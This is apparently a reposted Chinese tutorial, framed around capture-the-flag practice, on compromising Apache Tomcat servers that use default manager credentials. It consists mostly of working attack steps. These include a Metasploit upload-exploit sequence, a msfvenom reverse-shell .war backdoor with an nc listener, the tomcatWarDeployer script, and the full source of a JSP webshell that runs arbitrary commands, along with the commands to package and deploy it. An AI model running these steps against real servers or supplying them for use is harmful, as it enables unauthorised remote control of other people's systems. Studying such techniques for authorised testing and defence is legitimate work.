攻击Tomcat的多种姿势

栏目: Java · 发布时间: 5年前

内容简介:大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。因此,我感觉应该记录一下所有攻击Tomcat应用并获取远程主机webshell的方法。·Tomcat经过身份验证的上传代码执行·生成.war格式的后门

大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。因此,我感觉应该记录一下所有攻击Tomcat应用并获取远程主机webshell的方法。

目录

·Tomcat经过身份验证的上传代码执行

·生成.war格式的后门

·Tomcat war部署脚本

·生成JSP webshell

首先使用nmap进行扫描,看看8080端口是否运行着Tomcat服务

nmap -sV -p8080 192.168.1.101

攻击Tomcat的多种姿势

从扫描结果可以看到,8080端口是开放的,运行着Apache Tomcat。我们用浏览器来访问以下目标IP地址,后面带上端口号。我们可以看到一个HTTP身份认证页面来登陆Tomcat管理后台。

攻击Tomcat的多种姿势

Tomcat经过身份验证的上传代码执行

目标服务器是Apache Tomcat,而且泄露了管理后台,我们可以利用一个模块来执行payload。这个payload作为一个war文件上传,这个payload包含了一个jsp应用,该jsp应用使用POST方式向/manager/html/upload组件发起请求。请注意,根据目标主机的不同,这个payload的设置也会有所不同。比如,如果你的目标主机是Windows,那么你得使用原生的windows payload。

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit

如图所示,我们可以看到我们已经拿下了目标主机的meterpreter会话:

攻击Tomcat的多种姿势

生成.war格式的后门

攻击Tomcat的多种姿势

我们可以使用msfvenom来为 java 和jsp payload生成一个.war格式的后门。你要做的就是按照下面提供的语法来创建一个.war格式的文件并启动nc进行监听:

Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name]
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war
nc -lvp 1234

攻击Tomcat的多种姿势

现在,使用默认的登陆凭证Tomcat:tomcat登陆到Tomcat管理后台中,登陆成功后你就能看到管理员面板,在这里你可以上传.war文件。

如图所示,你可以看到我已经在截图中圈出了“浏览恶意的shell.war文件进行部署”。一旦你成功上传你的war文件,在应用表中,你可以看到一个跟你war文件名字相同的目录。

想要执行你的war文件,你需要进入该目录并点击war文件,或者是直接在URL里访问。

一旦你执行了war文件,你就可以通过nc获得一个反向连接。

攻击Tomcat的多种姿势

耶,我们又一次获得了一个远程主机的webshell。

攻击Tomcat的多种姿势

Tomcat War部署脚本

这是一个渗透测试工具,旨在利用Apache Tomcat凭证以自动生成和部署JSP后门,一旦之后触发这个后门,就会返回一个令人大快人心的 shell 了(不管是通过web gui还是监听绑定到目标主机的端口或者是回连到攻击者的反向TCP payload)。

实际上,它会动态的生成JSP后门war包,然后使用pentester提供的有效的HTTP身份认证凭证(或者自定义凭证,一般都是Tomcat:tomcat)登陆到Tomcat管理界面中并且将其部署到Tomcat应用程序中。

部署脚本你可以在这里进行下载:

https://github.com/mgeeky/tomcatWarDeployer

git clone https://github.com/mgeeky/tomcatWarDeployer
cd tomcatWarDeployer
ls

攻击Tomcat的多种姿势

现在再按照语法来对目标主机进行漏洞利用,不用再手动上传war文件了。

Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port]
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

一旦执行了上述命令,我们就可以直接获得一个webshell了,如下图所示:

攻击Tomcat的多种姿势

生成JSP webshell

接下来,我们就来看看如何生成和部署webshell来获得Tomcat应用中的执行命令。

首先,我们需要写一个webshell并且打包成war格式。我们可以使用下面的代码来写一个webshell:

<span style="color: #000000;"><FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre></span>

保存代码为index.jsp文件,然后使用下列命令来打包:

mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *

攻击Tomcat的多种姿势

执行完这条命令,你就能生成一个war文件,你可以将这个war文件部署在Tomcat应用中。

如下图所示,你可以看到,我已经成功上传并部署了webshell.war文件,现在我们点击这个文件来执行:

攻击Tomcat的多种姿势

在执行/webshell时,你会得到一个404错误页面,现在再执行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

访问了上述URL后,你会得到一个命令执行的表单,现在你就可以在这个表单上任意执行cmd命令了,如图:

攻击Tomcat的多种姿势

本文到此结束,希望大家有所收获。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms on Strings, Trees and Sequences

Algorithms on Strings, Trees and Sequences

Dan Gusfield / Cambridge University Press / 1997-5-28 / USD 99.99

String algorithms are a traditional area of study in computer science. In recent years their importance has grown dramatically with the huge increase of electronically stored text and of molecular seq......一起来看看 《Algorithms on Strings, Trees and Sequences》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具